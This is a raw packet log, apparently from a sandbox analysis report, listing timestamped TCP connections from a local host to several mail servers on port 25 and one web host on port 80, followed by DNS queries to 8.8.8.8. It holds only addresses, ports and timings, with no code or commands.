Oct 31, 2022 12:21:14.074017048 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.074028969 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.074079990 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.107893944 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.107916117 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.107929945 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.107942104 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.107953072 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.107965946 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.107975960 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.107988119 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.107997894 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.108009100 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.108020067 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.108031988 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.108043909 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.108055115 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.108066082 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.108077049 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.108088017 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.128027916 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.158756971 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:14.161338091 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.165421009 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.198690891 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.209611893 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.209647894 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.209758043 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.209758043 CET	50145	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:21:14.242419004 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.245378017 CET	25	50145	142.250.147.27	192.168.2.5
Oct 31, 2022 12:21:14.269448996 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.269583941 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.298544884 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.305802107 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.330070019 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:14.331160069 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:14.331497908 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:14.332916975 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.336616993 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.339215040 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.366925955 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.367172003 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.399471045 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.497034073 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:14.501590014 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:14.536757946 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.540746927 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.567828894 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.569072962 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.569365025 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.571422100 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.598779917 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.598812103 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.598864079 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.598896027 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.598917007 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.598946095 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.598946095 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.599076986 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.599076986 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.604410887 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.605283976 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.626027107 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626077890 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626097918 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626127005 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626138926 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626152992 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626168966 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626184940 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626194000 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.626199961 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626215935 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626231909 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626255035 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626270056 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.626271963 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626290083 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626292944 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.626308918 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626326084 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626342058 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.626359940 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.632381916 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.632416010 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653496027 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653521061 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653528929 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653537035 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653548002 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653562069 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653574944 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653588057 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653599977 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653613091 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653625011 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653635979 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653646946 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653657913 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653670073 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653681040 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653692007 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.653703928 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.680684090 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.688282967 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:14.707861900 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.708529949 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.735641003 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.739703894 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.739738941 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.739944935 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.739944935 CET	50146	25	192.168.2.5	142.250.153.26
Oct 31, 2022 12:21:14.767097950 CET	25	50146	142.250.153.26	192.168.2.5
Oct 31, 2022 12:21:14.857460022 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:14.860414982 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:14.877444029 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.061691999 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.063699961 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:15.217269897 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:15.396495104 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:15.397617102 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:15.439694881 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.606843948 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.607310057 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:15.617295027 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:15.754651070 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:15.923631907 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:15.923861027 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:15.925944090 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:15.983338118 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993344069 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993397951 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993411064 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993422985 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993429899 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993433952 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:15.993444920 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993457079 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993473053 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993484974 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993495941 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:15.993511915 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:15.993590117 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:16.280756950 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.282744884 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.282774925 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.282790899 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.282807112 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.282823086 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.282840014 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.282859087 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.282870054 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:16.282890081 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.282911062 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.282943010 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:16.282967091 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:16.282990932 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:16.369544029 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369576931 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369585991 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369597912 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369606018 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369613886 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369621038 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369627953 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369636059 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369647980 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369656086 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369663000 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369700909 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:16.369724989 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369736910 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369745016 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369755983 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369762897 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369770050 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369777918 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369785070 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.369813919 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:16.380435944 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.380631924 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:16.535466909 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.535518885 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.535707951 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:16.536891937 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:16.639823914 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.639854908 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.639873981 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.639890909 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.639906883 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.639925003 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.639940977 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.639956951 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.639961958 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:16.639961958 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:16.639972925 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.639988899 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.640005112 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.640021086 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.640022993 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:16.640037060 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.640053988 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.640070915 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.640085936 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.640101910 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.640117884 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.640134096 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.640150070 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.691843987 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.691916943 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.691941023 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.691942930 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:16.691956997 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.692044020 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:16.692073107 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:16.745611906 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745742083 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745764971 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745783091 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745801926 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745819092 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745836020 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745852947 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745870113 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745886087 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745901108 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745917082 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.745934963 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.746038914 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.746057034 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.746069908 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.746081114 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.746093035 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:16.846745014 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.846779108 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.846887112 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:16.846956015 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:16.847052097 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.847120047 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:16.847177029 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.887001038 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:16.997298956 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997361898 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997401953 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997435093 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997477055 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997514009 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997556925 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997590065 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997625113 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997661114 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997695923 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997730017 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997765064 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997801065 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997836113 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997893095 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997936964 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:16.997984886 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:17.001857996 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:17.001899004 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:17.001929998 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:17.001960039 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:17.001987934 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:17.003132105 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:17.118598938 CET	80	50123	199.59.243.222	192.168.2.5
Oct 31, 2022 12:21:17.121714115 CET	50123	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:21:17.148216963 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:17.151984930 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:17.152148008 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:17.209755898 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:17.325826883 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:19.190236092 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:19.279221058 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:20.587234974 CET	50123	80	192.168.2.5	199.59.243.222
Oct 31, 2022 12:21:20.590033054 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:20.598203897 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:20.598387957 CET	50142	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:21:20.605782986 CET	80	50123	199.59.243.222	192.168.2.5
Oct 31, 2022 12:21:20.744900942 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:20.745002031 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:20.745615959 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:21:20.745757103 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:20.961088896 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:20.975553036 CET	25	50142	74.125.200.26	192.168.2.5
Oct 31, 2022 12:21:21.123605013 CET	25	50144	74.125.200.27	192.168.2.5
Oct 31, 2022 12:21:21.123661041 CET	50144	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:21:21.155225992 CET	50078	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:21:21.155497074 CET	50129	25	192.168.2.5	85.187.148.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2022 12:19:29.251045942 CET	62905	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:29.364934921 CET	53	62905	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:30.216037989 CET	54882	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:30.235714912 CET	53	54882	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:30.252424955 CET	60136	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:30.273773909 CET	53	60136	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:30.284954071 CET	53635	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:30.304158926 CET	53	53635	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:30.704355001 CET	54949	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:30.725689888 CET	53	54949	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:30.738352060 CET	58218	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:30.755853891 CET	53	58218	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:30.841303110 CET	60998	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:30.890163898 CET	53	60998	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:30.900392056 CET	56953	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.073401928 CET	53	56953	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.517200947 CET	59287	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.526806116 CET	58648	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.544408083 CET	53	59287	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.585810900 CET	56894	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.607214928 CET	53	56894	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.613231897 CET	50295	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.617522001 CET	60841	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.634360075 CET	53	50295	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.643735886 CET	53	58648	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.656279087 CET	61893	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.660973072 CET	60649	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.675230980 CET	53	61893	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.689718962 CET	53	60649	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.709661007 CET	51441	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.727190971 CET	49177	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.729916096 CET	53	51441	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.736215115 CET	49724	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.757325888 CET	53	49724	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.764776945 CET	61452	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.787138939 CET	53	61452	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.793612957 CET	53	60841	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.805707932 CET	65323	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.810369015 CET	51484	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.812804937 CET	63446	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.829642057 CET	53	65323	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.832726955 CET	53	49177	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.836949110 CET	56751	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.841165066 CET	53	51484	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.841335058 CET	55039	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.864358902 CET	53	56751	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.870292902 CET	53	63446	8.8.8.8	192.168.2.5
Oct 31, 2022 12:19:31.885865927 CET	60975	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.889323950 CET	59220	53	192.168.2.5	8.8.8.8
Oct 31, 2022 12:19:31.907886982 CET	53	60975	8.8.8.8	192.168.2.5
